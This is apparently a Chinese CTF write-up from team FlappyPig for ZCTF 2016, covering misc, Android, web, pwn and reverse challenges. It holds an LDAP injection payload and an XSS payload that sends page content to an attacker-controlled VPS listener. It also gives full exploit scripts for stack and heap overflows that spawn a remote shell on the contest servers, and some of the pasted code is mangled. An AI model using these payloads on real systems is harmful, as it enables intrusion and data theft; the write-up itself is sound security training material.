ZCTF Writeup

2016-05-16 9,177

​author:FlappyPig

MISC

xctf 竞赛规则

XCTF.docx-ca626bea35779f5f7032e00cf9d2dd02
宽窄间距
也许你需要懂宏编程

这个题的脑洞 简直。。。 

 主要看spacing    

可以看到3种间距  -2 0 2     于是推算 -2和2的时候 

 一个烫=一个0或者一个1

1.png

猜测开头

2.png

发现完全吻合之后 把所有168个烫都转换为二进制  最后8个二进制输出一个字符

得到flag

3.png

ZCTF{C0nnE_ON_B4BUj!}

 

码魂

100
0 solves
zctf.4454351239294142517768106477424758339313668330551556598850285899498383133918517502503116443893032458144900690532957411308317691675682333946019971994909066641891914657728311161476294251777002804869680310833062416097160633225722907877609055897813420047521712976274014308415290941783823683328734523657720186652742880094528490554601943311421553698477475972304302075922033331292552372389282466264842199

 

小绿和小蓝

漫画
zctf is the key game!
Des key is 8 bytes
dashi.jpg-ddb46459b4f8e82a80a720bde3c98bf6

风雨过后

300
0 solves

115.28.206.86 2016

 

Android200

首先出现的是登陆窗口,检查登录名密码的函数在这里

4.png

使用Auth.auth函数验证用户名密码,this.databaseopt()函数获得加密用的密钥,该函数如下图,大概是从key.db中获取密钥

5.png

下个log直接把key打印出来,是zctf{Notthis},因此用户名是zctf,密码应该是{Notthis}。

这一步通过了之后会运行app这个类,里面会检查反调试,并且设置了退出时间,把相应退出的转跳判断改掉就不会退出了。最后程序会调用JNIclass.sayHelloInc

6.png

用ida查看相关汇编

其中会调用Java_com_zctf_app_JNIclass_add_0()查看/proc/pid/status进行反调试,调试的时候把它的返回值改为0,即可绕过。

7.png

剩下的部分貌似是拼接/data/data/com.zctf.app/files/bottom和so文件内部的一个字符串,然后使用des解密。

8.png

这里直接用gdb dump出解密后的值即可,是一张图片。用stegsolve打开即可看到flag。

9.png10.png

WEB

Web150 Easy Injection

一个登录框..测试了下感觉不像注入,cookie中有个sessionhint,发现是base32编码,解码发现是说不是sql注入,

扫 了下端口,发现存在389端口,ldap,参考drops的文章,用admin/*登录进后台,发现一个搜索,搜索a回显,0 admin, (| (uid=*a*))猜测是后端的语句,这里又有一个sessionhint解出来can you find my description,后来才发现 description是表名,于是根据drops文章一位一位盲注出。

payload:search=b*)(description=z

11.png 

 

Web200 加密的帖子

没啥好说的这题..你以为你换个DedeCMS的Logo我就认不出你是Discuz了么!

XSS漏洞,wooyun上有,在回复帖子的位置插入代码:

[flash]http://VPS_IP:9997/flash.swf?'+btoa(escape(document.body.innerHTML))+'[/flash] VPS上nc监听9997端口,就能接收到数据了..

12.png

解码之后就能看到flag

13.png 

 

老大知道flag

首先爆破常用姓名  最后可以登录zhangwei 123456

登录上去之后发现通讯录  还有md5过的cookie  解不开

14.png

然后爆破通讯录里的弱口令

可以得到 niubenben  123456789

继续登录 发现cookie可以解  解完之后是 9+ADk-

可以推算老大 是1+xxxx    最后尝试多次发现+ADk- 是utf-7的编码

于是构造老大的cookie

15.png

再md5下   用burp发包 拿到flag

http://p4.qhimg.com/t0133e31ecac4f1f7f4.png

PWN

guess(pwn100):

题目逻辑比较简单,gets的缓冲区是栈上的,可以任意长度读入,而栈的缓冲区长度是40。如下:

16.png

由于直接与flag相比较,所以这里flag是存在于内存中的。由于做了限制,必须以ZCTF{开头,而且长度一定,所以这里首先得暴力长度,根据返回的结果判断长度是否正确。

长度开始为33,后来改为34。

由 于栈的前面存在有主函数main(int argc, char** argv)的参数值,而这个参数argv[0]即为程序的名字,在异常时会显示在错 误信息后面,所以只要覆盖栈中argv[0]的地址为特定地址就可以达到任意地址泄露。所以可以泄露原flag的信息。

由 于::s(flag存放的地址)最后会与输入值做异或,所以最后只要反异或就可以。由于开始的时候ZCTF{这个地方异或后肯定为0,所以打印的时候,地 址应该往后靠点:如+5,另外选取的异或数也可能余flag中的相同,存在0截断,所以可以多打印些地址,这里直接选用‘b’,发现能够全部泄露出来(第五个5以后的)。

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__author__ = "pxx"
#from zio import *
from pwn import *
#target = "./guess"
target = ("115.28.27.103"22222)
def get_io(target):
#r_m = COLORED(RAW, "green")
#w_m = COLORED(RAW, "blue")
#io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
#io = process(target, timeout = 9999)
io = remote("115.28.27.103"22222, timeout = 9999)
return  io 
def leak_len(io, length):
io.readuntil("please guess the flag:\n")
flag_addr = 0x6010C0
payload = 'a' * length + "\x00"
#io.gdb_hint()
io.writeline(payload)
result = io.readuntil("\n")
print result
#io.close(0)
if "len error" in result:
return False
return True
def pwn(io):
#io.read_until("please guess the flag:\n")
io.readuntil("please guess the flag:\n")
"""
[stack] : 0x7fffff422210 --> 0x73736575672f2e (b'./guess')
!![stack] : 0x7fffff421278 --> 0x7fffff422210 --> 0x73736575672f2e (b'./guess')
[stack] : 0x7fffff422ff0 --> 0x73736575672f2e (b'./guess')
!![stack] : 0x7fffff4215e0 --> 0x7fffff422ff0 --> 0x73736575672f2e (b'./guess')
[stack] : 0x7fffc0eb7bfa --> 0x73736575672f6e (b'n/guess')
[stack] : 0x7fffc0eb7ff0 --> 0x73736575672f2e (b'./guess')
!![stack] : 0x7fffc0eb6c48 --> 0x7fffc0eb7ff0 --> 0x73736575672f2e (b'./guess')
arg[0]: 0x7fffc0eb67c0 ('a' <repeats 15 times>...)
"""
flag_addr = 0x6010C0 + 5 #+ 3 + 6
length = 34
payload = "ZCTF{"
payload = payload.ljust(length, 'b')
payload += "\x00"
payload = payload.ljust(0x7fffff421278 - 0x7fffff421150'a')
#payload = payload.ljust(0x100, 'a')
payload += p64(flag_addr)
#payload = 'a' * (0x7fffc0eb68e8 - 0x7fffc0eb67c0) + p64(flag_addr)
raw_input()
#io.gdb_hint()
#io.writeline(payload)
#payload = 'a' * 0x50
io.writeline(payload)
#io.interact()
io.interactive()
"""
#leak length = 9
for i in range(32, 256):
print i
io = get_io(target)
if leak_len(io, i) == True:
break
exit(0)
"""
io = get_io(target)
pwn(io)

然后异或即可:

1
2
3
4
5
= '0\x07\x03SSS;=\x0cQQ&=\x16R=[\x17\x07\x111=\x04\x0e"\x05]\x1fh'
result = []
for in a:
result.append(chr(ord(i) ^ ord('b')))
print "".join(result)

结果:

17.png

flag: ZCTF{Rea111Y_n33D_t0_9uesS_fl@g?}   

note1(pwn200):

这题比较简单,是个菜单式的交互程序,分析程序的结构体,得到如下:

18.png

可见content的长度为256,而在edit的时候,能够读入512字节,从而发送缓冲区覆盖,如下:

19.png

结构体中有指针,泄露和利用都比较容易,利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
__author__ = "pxx"
from zio import *
from pwn import *
#target = "./note1"
target = ("115.28.27.103"9001)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return  io 
def new_note(io, title_t, type_t, content_t):
io.read_until("option--->>\n")
io.writeline("1")
io.read_until("title:\n")
io.writeline(title_t)
io.read_until("type:\n")
io.writeline(type_t)
io.read_until("content:\n")
io.writeline(content_t)
def show_note(io):
io.read_until("option--->>\n")
io.writeline("2")
def edit_note(io, title_t, content_t):
io.read_until("option--->>\n")
io.writeline("3")
io.read_until("title:\n")
io.writeline(title_t)
io.read_until("content:\n")
io.writeline(content_t)
def pwn(io):
new_note(io, 'aaa''aaa''aaa')
new_note(io, 'bbb''bbb''bbb')
new_note(io, 'ccc''ccc''ccc')
show_note(io)
atoi_got = 0x0000000000602068 - 0x80
content= 'a' * 256 + l64(0x01+ l64(0x01+ l64(0x01+ l64(atoi_got) + "bbb"
io.gdb_hint()
edit_note(io, 'aaa', content)
show_note(io)
io.read_until("title=, type=, content=")
data = io.read_until("\n")[:-1]
print[c 3="<code" 4="4="4="4="4="class="python""""" 5="5="5="5="5="plain">c""""" 6="</code><code" 7="7="7="7="7="class="python""""" 8="8="8="8="8="keyword">in</code>""""" 9="<code" 10="10="10="10="10="class="python""""" 11="11="11="11="11="plain">data""""" language="</code><code"][/c]
data = data.ljust(8'\x00')
malloc_addr = l64(data)
print "malloc_addr:"hex(malloc_addr)
elf_info = ELF("./libc-2.19.so")
malloc_offset = elf_info.symbols["malloc"]
system_offset = elf_info.symbols["system"]
libc_base = malloc_addr - malloc_offset
system_addr = libc_base + system_offset
content = "a" * 16 + l64(system_addr)
print "system_addr:"hex(system_addr)
edit_note(io, "", content)
io.read_until("option--->>\n")
io.writeline("/bin/sh")
io.interact()
io = get_io(target)
pwn(io)

结果:

20.png

flag: ZCTF{3n@B1e_Nx_IS_n0t_3norrugH!!}

 

note2(pwn400):

这道题也是菜单式的形式,主要问题在于edit的时候,append可以越界,如下图:

A1.png

如果size开始为0,那么size – strlen(dest) + 14 <= 14 了,所以最后strncat的时候,可以无限附加,覆盖下个堆块,当size为0的时候,默认会分配的堆块大小为0x20,由于每个堆块的大小可以自己设 置大小,所以这里采用fastbin(堆块大小为0x20~0x80),由于可以覆盖后面的堆块,所以可以伪装假堆块在name中,然后对其进行free,再次申请的时候,就可以得到该地址,从而改写全局指针,如下:

A2png.png

最终利用代码如下:
[code]
_author__ = "pxx"
from zio import *
from pwn import *
#ip = 1.192.225.129
#target = "./note2"
target = ("115.28.27.103", 9002)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return  io
def new_note(io, length_t, content_t):
io.read_until("option--->>\n")
io.writeline("1")
io.read_until("content:(less than 128)\n")
io.writeline(str(length_t))
io.read_until("content:\n")
io.writeline(content_t)
def show_note(io, id_t):
io.read_until("option--->>\n")
io.writeline("2")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
def delete_note(io, id_t):
io.read_until("option--->>\n")
io.writeline("2")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
def edit_note(io, id_t, type_t, content_t):
io.read_until("option--->>\n")
io.writeline("3")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
io.read_until("[1.overwrite/2.append]\n")
io.writeline(str(type_t))
io.read_until("Contents:")
io.writeline(content_t)
def pwn(io):
name_addr = 0x6020E0
address_addr = 0x602180
address = 'aaa'
name  = l64(0x20) + l64(0x21)
name = name.ljust(0x20, 'a')
name += l64(0x20) + l64(0x21)
name += l64(0x0)
io.read_until("Input your name:\n")
io.writeline(name)
io.read_until("Input your address:\n")
io.writeline(address)
new_note(io, 0, '')
new_note(io, 0x80, '')
atoi_got = 0x0000000000602088
manage_addr = 0x602120
payload = 'a' * 0x10
for i in range(7):
edit_note(io, 0, 2, payload)
payload = 'a' * 0xf
edit_note(io, 0, 2, payload)
payload = 'a' + l64(name_addr + 0x10)
edit_note(io, 0, 2, payload)
io.gdb_hint()
new_note(io, 0, '')
payload = 'a' * 0x10
for i in range(2):
edit_note(io, 2, 2, payload)
payload = 'a' * 0xf
edit_note(io, 2, 2, payload)
payload = 'a' + l64(atoi_got)
edit_note(io, 2, 2, payload)
show_note(io, 0)
io.read_until('Content is ')
data = io.read_until("\n")[:-1]
print [c for c in data]
data = data.ljust(8, '\x00')
aoti_addr = l64(data)
print "aoti_addr:", hex(aoti_addr)
elf_info = ELF("./libc-2.19.so")
#elf_info = ELF("./libc.so.6")
atoi_offset = elf_info.symbols["atoi"]
system_offset = elf_info.symbols["system"]
libc_base = aoti_addr - atoi_offset
system_addr = libc_base + system_offset
content = l64(system_addr)
print "system_addr:", hex(system_addr)
edit_note(io, 0, 1, content)
io.read_until("option--->>\n")
io.writeline("/bin/sh")
io.interact()
io = get_io(target)
pwn(io)
[/code]
结果A3.png

flag: ZCTF{C0ngr@tu1@tIoN_tewre0_PwN_8ug_19390#@!}

spell(pwn300):

这道题的逻辑还是比较简单的,读取用户数据,然后与从驱动中读到的数据进行对比,符合要求,则打印flag。

看驱动代码,发现有两个ioctl指令:

0x80086B01 –> 返回8字节随机数

0x80086B02 –> 返回时间字符串

如下:而时间在最初的时候会打印一次,但是这里只是精确到分钟。

对于用户输入的串,与驱动进行比较时,会有多轮次,长度符合规律,现将长度求出得56,每8字节为一组,与驱动中读出的数据进行异或,如果每次异或结果都为’zctfflag’,则成功。

问题所在:

读取用户输入的时候,会读取len+2的长度,而且将len+1的位置置为’\n’,那么此时如果输入长度刚好为256,可以读取258个字节A4.png

而在cpy函数中,赋值结束时按照’\n’来定的,所以可以赋值257个字节,如下:

A5.png

而dest_buff缓冲区只有256个字节,其后跟着v13,它为第二次获取驱动中数据函数ioctl的指令代码,如下:

A6.png

所以可以覆盖其最低字节,那么此时如果将最后一字节其覆盖成0x02,则获取的结果就是8字节的时间,而时间是8字节的,而且是以分钟为精度的,所以可以将第一次的时间近似看成第二次的时间,从而构造合适的输入数据。

利用代码如下:
[code]
__author__ = "pxx"
from zio import *
target = ("115.28.27.103", 33333)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
#io = process(target, timeout = 9999)
return  io
def pwn(io):
io.read_until("How long of your spell:")
io.writeline("256")
io.read_until("At ")
time_info = io.read_until(": ")
io.read_until("you enter the spell: ")
time_info = time_info + "\x00"
info = "zctfflag"
result = []
padding = ""
for i in range(8):
padding += chr(ord(time_info[i]) ^ ord(info[i]))
payload = padding * 7
payload += "\x00"
payload = payload.ljust(256, 'a')
payload += '\x02'
io.writeline(payload)
io.interact()
io = get_io(target)
pwn(io)
[/code]

结果:

A7.png

flag: ZCTF{SPELL_IS_IN_THE_D33wRIVER}

 

note3(pwn300):

该题是note系列第三个,问题依然在edit中,如下图:

A8.png

其中输入的id经过一些列运算,其中get_long函数中,转换是atol,而发行len<0时,将len=-len,这里有个整数型溢出问题,因为0x8000000000000000 = -0x8000000000000000。

A9.png

而0x8000000000000000的值为-1,所以可以导致索引为全局结构体数组中的前一个指针。其为当前的活跃指针,如下:

A10.png

edit的时候:id_t为-1;其对应的长度不在是size,第七个堆块的指针所以可以读很长的内容,从而覆盖后面的堆块,如下:

get_buff_4008DD(global_content_size_6020C8[id_t], (__int64)(&global_cur_ptr_6020C0)[8 * (id_t + 8)], 10);

global_cur_ptr_6020C0 = global_content_size_6020C8[id_t];

在这里可以采用unlink的方式,在内容中构造假堆块,最终改写全局指针。

利用代码如下:
[code]
__author__ = "pxx"
from zio import *
from pwn import *
#ip = 1.192.225.129
#target = "./note3"
target = ("115.28.27.103", 9003)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return  io
def new_note(io, length_t, content_t):
io.read_until("option--->>\n")
io.writeline("1")
io.read_until("content:(less than 1024)\n")
io.writeline(str(length_t))
io.read_until("content:\n")
io.writeline(content_t)
def delete_note(io, id_t):
io.read_until("option--->>\n")
io.writeline("4")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
def edit_note(io, id_t, content_t):
io.read_until("option--->>\n")
io.writeline("3")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
io.read_until("content:")
io.writeline(content_t)
def pwn(io):
new_note(io, 0x80, 'aaaaaa')
new_note(io, 0x80, 'bbbbbb')
new_note(io, 0x80, 'cccccc')
new_note(io, 0x80, 'dddddd')
new_note(io, 0x80, 'eeeeee')
new_note(io, 0x80, 'ffffff')
new_note(io, 0x80, '/bin/sh;')
target_id = 2
edit_note(io, target_id, '111111')
#useful_code --- begin
#prepare args
arch_bytes = 8
heap_buff_size = 0x80
#node1_addr = &p0
node1_addr = 0x6020C8 + 0x08 * target_id
pack_fun = l64
heap_node_size = heap_buff_size + 2 * arch_bytes #0x88
p0 = pack_fun(0x0)
p1 = pack_fun(heap_buff_size + 0x01)
p2 = pack_fun(node1_addr - 3 * arch_bytes)
p3 = pack_fun(node1_addr - 2 * arch_bytes)
#p[2]=p-3
#p[3]=p-2
#node1_addr = &node1_addr - 3
node2_pre_size = pack_fun(heap_buff_size)
node2_size = pack_fun(heap_node_size)
data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size
#useful_code --- end
#edit node 1:overwrite node 1 -> overflow node 2
edit_note(io, -9223372036854775808, data1)
#edit_note(io, 1, score, data1)
#delete node 2, unlink node 1 -> unlink
#delete_a_restaurant(io, 2)
delete_note(io, target_id + 1)
alarm_got = 0x0000000000602038
puts_plt = 0x0000000000400730
free_got = 0x0000000000602018
data1 = l64(0x0) + l64(alarm_got) + l64(free_got) + l64(free_got)
edit_note(io, target_id, data1)
data1 = l64(puts_plt)[:6]
io.gdb_hint()
edit_note(io, target_id, data1)
#io.read_until("option--->>\n")
#io.writeline("3")
#io.read_until("id of the note:\n")
#io.writeline(l64(atol_got))
#data = io.read_until("\n")
#print [c for c in data]
delete_note(io, 0)
data = io.read_until("\n")[:-1]
print [c for c in data]
alarm_addr = l64(data.ljust(8, '\x00'))
print "alarm_addr:", hex(alarm_addr)
elf_info = ELF("./libc-2.19.so")
#elf_info = ELF("./libc.so.6")
alarm_offset = elf_info.symbols["alarm"]
system_offset = elf_info.symbols["system"]
libc_base = alarm_addr - alarm_offset
system_addr = libc_base + system_offset
data = l64(system_addr)[:6]
edit_note(io, 1, data)
delete_note(io, 6)
io.interact()
io = get_io(target)
pwn(io)
[/code]

结果:

C1.png

flag: ZCTF{No_s1-1Ow_n0dfs_1eak!@#}

 

REVERSE

Reverese100

这个题最开始是个矩阵运行,算了半天算出来flag为zctf{Wrong_Flag},明显不对。继续往后分析,真正的代码在后面。
[code]
value = '32 02 00 00 85 02 00 00 F4 02 00 00 53 03 00 00 98 03 00 00 F9 03 00 00 6C 04 00 00 E5 04 00 00 44 05 00 00 93 05 00 00 FB 05 00 00 5A 06 00 00 A1 06 00 00 10 07 00 00 74 07 00 00 F1 07 00 00'
d = ''
for l in value.split(' '):
   d += chr(int(l, 16))
print len(d)
from zio import *
d2 = []
d0 = ord('z')+ord('c')+ord('t')+ord('f')
d2.append(d0)
for i in range(len(d)/4):
   d2.append(l32(d[i*4:i*4+4]))
flag = ''
for i in range(len(d2)-1):
   flag += chr(d2[i+1]-d2[i])
print 'zctf'+flag
Reverse200
Flag形式如下:ZCTF{123_4567_abc_defghijklm}
其中123对应的md5为371265e33e8d751d93b148067c36eb4c,对应的3的字符为c0c
4567处对应的4个字符+一个’\x00’的md5为'03d2370991fbbb9101dd7dcf4b03d619',求得4567处对应LIK3.
md5str = '03d2370991fbbb9101dd7dcf4b03d619'
for a1 in range(0x20, 0x7f):
   for a2 in range(0x20, 0x7f):
       for a3 in range(0x20, 0x7f):
           for a4 in range(0x20, 0x7f):
               src = chr(a1) + chr(a2) + chr(a3) + chr(a4) + '\x00'
               m2 = hashlib.md5()
               m2.update(src)
               if m2.hexdigest() == md5str:
                   print 'find'
print src
[/code]

abc处的3个字符做了base64加密之后进行比较,求得为E4t.

经过上面的比较后,程序用de处的两个字符对subkey文件内容进行异或,输出到subsubkey中。

再后面对整个flag做了次md5。但是因为整个flag中有10个字节不知道,爆破不太现实。

感觉subsubkey文件应该是有意义的,通过枚举de处的所有可能,得到所有的输出,通过file命令发现当de为ST时,subsubkey为一个rar文件,解压出来有剩下的8个字符。

Flag为:ZCTF{c0c_LIK3_E4t_ST6aw4ErrY}E4t.

 

Reverse300

Arm64的程序,最近新出的ida6.9支持arm64反编译,不过可惜没有正版ida。

看了下主要函数就几个,所以选择直接看汇编了。结合qemu,可以进行动态调试。

首先,ida对arm64程序的库函数识别不是很好(用的ida6.6),通过readelf解析出来的库函数对ida中的库函数手动修正。

之后就是纯看代码了,大概弄清楚了程序流程:

首先将输入的字符串每3个一组,变换成4个字节,得到buff2.

Buff2中每5个字节一组,做了一个矩阵乘法,得到buff3.

Buff3与固定字符串比较。代码大致如下:
[code]
flag = 'zctf{1234567890}'.ljust(18, '\x00')
d9 = []
for i in range(len(flag)/3):
   d  = (ord(flag[3*i])<<16)+(ord(flag[3*i+1])<<8)+ord(flag[3*i+2])
   #print d,
   d1 = (d>>18)&0x3f
   d2 = (d>>12)&0x3f
   d3 = (d>>6)&0x3f
   d4 = d & 0x3f
   print hex(d1), hex(d2), hex(d3), hex(d4)
   if d1 != 0:
       d9.append(d1)
   if d2 != 0:
       d9.append(d2)
   if d3 != 0:
       d9.append(d3)
   else:
       d9.append(0x40)
   if d4 != 0:
       d9.append(d4)
   else:
       d9.append(0x40)
d8 = [21, 8, 24, 7, 1, 25, 4, 20, 16, 0, 2, 13, 16, 10, 14, 18, 3, 20, 18, 25, 3, 12, 23, 0, 24]
for i in range(len(d9)/5):
   for j in range(5):
       a = d9[i*5]*d8[j*5]+d9[i*5+1]*d8[j*5+1]+d9[i*5+2]*d8[j*5+2]+d9[i*5+3]*d8[j*5+3]+d9[i*5+4]*d8[j*5+4]
       print hex(a)
[/code]

逆向代码:
[code]
m = [[21.0, 8.0, 24.0, 7.0, 1.0], [25.0, 4.0, 20.0, 16.0, 0.0],\
    [2.0, 13.0, 16.0, 10.0, 14.0], [18.0, 3.0, 20.0, 18.0, 25.0], [3.0, 12.0, 23.0, 0.0, 24.0]]
flag_lists = [[1219.0, 1274.0, 1158.0, 1549.0, 1205.0], [2777.0, 2771.0, 2387.0, 3440.0, 2833.0],\
             [1422.0, 1753.0, 1723.0, 2369.0, 1483.0], [2071.0, 2283.0, 1936.0, 3483.0, 2435.0]]
for flag in flag_lists:
   result3 = mat(m)**-1 * mat(flag).T
print result3
sbs = '''
  22.0000
  36.0000
  13.0000
  20.0000
  17.0000
  39.0000
  45.0000
  56.0000
  31.0000
  37.0000
  21.0000
  47.0000
   8.0000
  55.0000
  28.0000
  51.0000
  26.0000
  22.0000
  29.0000
  61.0000
'''
res2 = []
for sb in sbs.strip().split('\n'):
   res2.append(int(sb.split('.')[0]))
for res in res2:
   print hex(res), hex(res&0x3f)
from zio import *
flag = ''
for i in range(len(res2)/4):
   result = (res2[i*4]<<18)+(res2[i*4+1]<<12)+(res2[i*4+2]<<6)+res2[i*4+3]
   flag += l32(result)[0:3][::-1]
print flag
[/code]

解得flag为: ZCTF{x~Uo#w3ig}

 

Reverse500

创建了一个子进程,首先对主进程对输入的数据进行了变换,变换后放到004079D8处,然后子进程再进行判断。

父进程中变换的函数使用一堆jmp进行了混淆。

通过记录程序运行的eip,然后再进行分析,分析发现就是个base64解密,然后挨着的两两字符异或,得到buff2。

在子进程中,将buff2[i]^i与固定字符串比较。
[code lang="python"]
f = open('./reverse500.exe', 'rb')
d = f.read()[0x506c:0x506c+54]
result = ''
for i in range(53):
   result += chr(ord(d[i])^i)
result2 = ''
result2 += result[0]
for i in range(52):
   result2 += chr(ord(result2[i])^ord(result[i+1]))
print result2
print base64.b64decode('WkNURntJX1c0TlRfSm1QX2pNcF8mJl9CNFMxXzY0X0BeX15AIX0=')
[/code]

得到flag为:ZCTF{I_W4NT_JmP_jMp_&&_B4S1_64_@^_^@!}

Simulator

实现了一个简单的虚拟机(或者叫模拟器)。

定位到虚拟机初始化的地方:

C2.png

通过之后的分析,可以猜出vreg、vpc、vsp、vflag和vmem。

之后一共支持24条指令:
[code lang="asm"]
0  initvm
1  mov regi, imm  a1!=0
mov regi, regj  a1=0
2: a1 == 0: mov regi, byte [regj]
a1 == 1: mov regi, word [regj]
a1 == 2: mov regi, dword [regj]
3: a1 == 0: mov byte [regj], regi
a1 == 1: mov word [regj], regi
a1 == 2: mov dword [regj], regi
4.  pop regi
5.  push regi
6.  a1 == 0: print regi #c
a1 == 1: print regi #d
a1 == 2: print regi #x
a1 == 3: print vmem[regi]
7.  a1 == 0: scanf regi #c
a1 == 1: scanf regi #d
a1 == 2: scanf regi #x
a1 == 3: scanf vmem[regi]
8.  ret
9.  a1 == 0  jmp imm
a1 == 1: jz imm
a1 == 2  jnz imm
a1 == 3: jl imm
10. a1 == 0:  jmp regi
a1 == 1: jz regi
a1 == 2  jnz regi
a1 == 3: jl regi
11. a1 != 0:  add regi, imm
a1 == 0: add regi, regj
12. sub
13. and
14. or
15. xor
16. cmp
17. exit
18. a1 == 0: mov regi, byte mem[regj]
a1 == 1:mov regi, word mem[regj]
a1 == 2:mov regi, dword mem[regj]
19. a1 == 0: mov byte mem[regj], regi
a1 == 1:mov word mem[regj], regi
a1 == 2:mov dword mem[regj], regi
20. a1 != 0:call imm
a1 == 0:call regi
21 nop
22  inc regi
23  dec regi
24  test regi, regj
[/code]

根据逆向出来的指令格式,去反汇编分析input.bin。

程序逐字节累加,然后比较。
[code lang="python"]
adds = [68, 116, 211, 300, 411, 529, 624, 673, 706, 813, 864, 959, 1014, 1086, 1137, 1232, 1285, 1390, 1499, 1616]
value = 0
result = ''
for add in adds:
   result += chr(add-value)
   value = add
print 'result:'+result
[/code]

求得结果为D0_Yov_1!k3_7H3_5imu

最后6个字节的比较麻烦一些,直接用z3求解了。
[code lang="python"]
from z3 import *
r10 = Real('r10')
r11 = Real('r11')
r12 = Real('r12')
r13 = Real('r13')
r14 = Real('r14')
r15 = Real('r15')
s = Solver()
s.add(r10 + r11 == 0x65)
s.add(r12 + r13 == 0x109-0x65)
s.add(r14 + r15 == 0x1ba-0x109)
s.add(r11 + r13 + r15 == 0xa3)
s.add(r10 + r12 == 0x148-0xa3)
s.add(r11 + r12 == 0xa8)
print(s.check())
print(s.model())
[/code]

最终flag为: zctf{D0_Yov_1!k3_7H3_5imu14t0r?}

Android400

本apk为2048的游戏修改版,玩到一定的分数就会弹出输入flag的窗口,flag窗口的activity为Secret,该类会载入Auth这个lib

C3.png

观察其create函数,重点看最后一行setOnClickListener,其绑定的按钮监听器为i

**.png

跟进类i的onClick函数,其中下面这段语句干了很多事。j.b函数取得了该apk的签名存到v1,重点看最后一行this.a.a的调用。

C5.png

this.a.a函数实际调用Secret.a函数,该函数中主要的语句是下面这条。

C6.png

其中Secret.a函数取得assets目录下的libListerner文件的内容,h.a函数将libListerner文件的内容用之前取得的签名作为密钥进行des解密,h.b函数将解密后的内容写入/data/data/com.zctf.zctf2048/libListener,也就是说这里如果想自己重新编译apk的话会比较麻烦。

随后程序调用h.a运行libListerner

C7.png

C8.png

随后程序会调用本地函数进行进一步处理。

c9.png

用ida打开libAuth.so,跟进到程序Java_com_zctf_zctf2048_Auth_AskForAnswer调用的地方。其取得了传入的字符串后调用了sendAndAsk函数

X1.png

跟进查看,发现程序尝试连接本机的8000端口(转成小端为8000),

X2.png

并进行tea加密。

X3.png

最后传输过去

X4.png

可以推测libListerner会监听8000端口,做进一步处理

用ida打开liblistener之后,定位到main函数,发现不是很复杂,就直接静态看了。

首先进行了tea算法,然后进行了变形base64,然后做了一个简单的变换。

在解密的过程中,发现变形base64解密完成之后,就已经得到flag了,(tea解密都不用算)。

[code lang="python"]
table = [87, 12, 4294967283L, 4294967291L, 4294967282L, 15, 4294967262L, 68, 4294967293L, 4294967253L, 27, 4294967274L, 13, 4294967287L, 26, 11, 4294967229L, 36, 4294967268L, 58, 0, 4294967236L, 64, 4294967233L, 57, 4294967239L, 17, 2, 11, 4294967293L, 23, 4294967247L]
def sub_8c20(a1, a2):
   v2 = 87
   if a2:
       v2 = 65
       if a2 <= 31:
           v2 = (a1 + table[a2])&0xff
   return v2
v6 = 65
result = ''
for i in range(32):
   v6 = sub_8c20(v6, i)
   result += chr(v6)
print result
str2 = "GHgSTU45IMNesVlZadrXf17qBCJkxYWhijOyzbcR6tDPw023KLA8QEFuvmnop9+/"
import base64
def get_index(ch):
   for i in range(len(str2)):
       if str2[i] == ch:
           return i
   raise Exception('error')
flag = ''
from zio import *
for i in range(len(result)/4):
   d1 = get_index(result[4*i])
   d2 = get_index(result[4*i+1])
   d3 = get_index(result[4*i+2])
   d4 = get_index(result[4*i+3])
   d = (d1<<18)+(d2<<12)+(d3<<6)+d4
   flag += l32(d)[0:3][::-1]
print flag
[/code]

最终flag为zctf{i_d0N()T_L1k3_2048}

【原文:ZCTF Writeup 作者:FlappyPig  安全脉搏编辑整理发布】

本文作者:hacker_yan1992

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/42334.html

Tags:
评论  (0)
快来写下你的想法吧!

hacker_yan1992

文章数:4 积分: 0

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号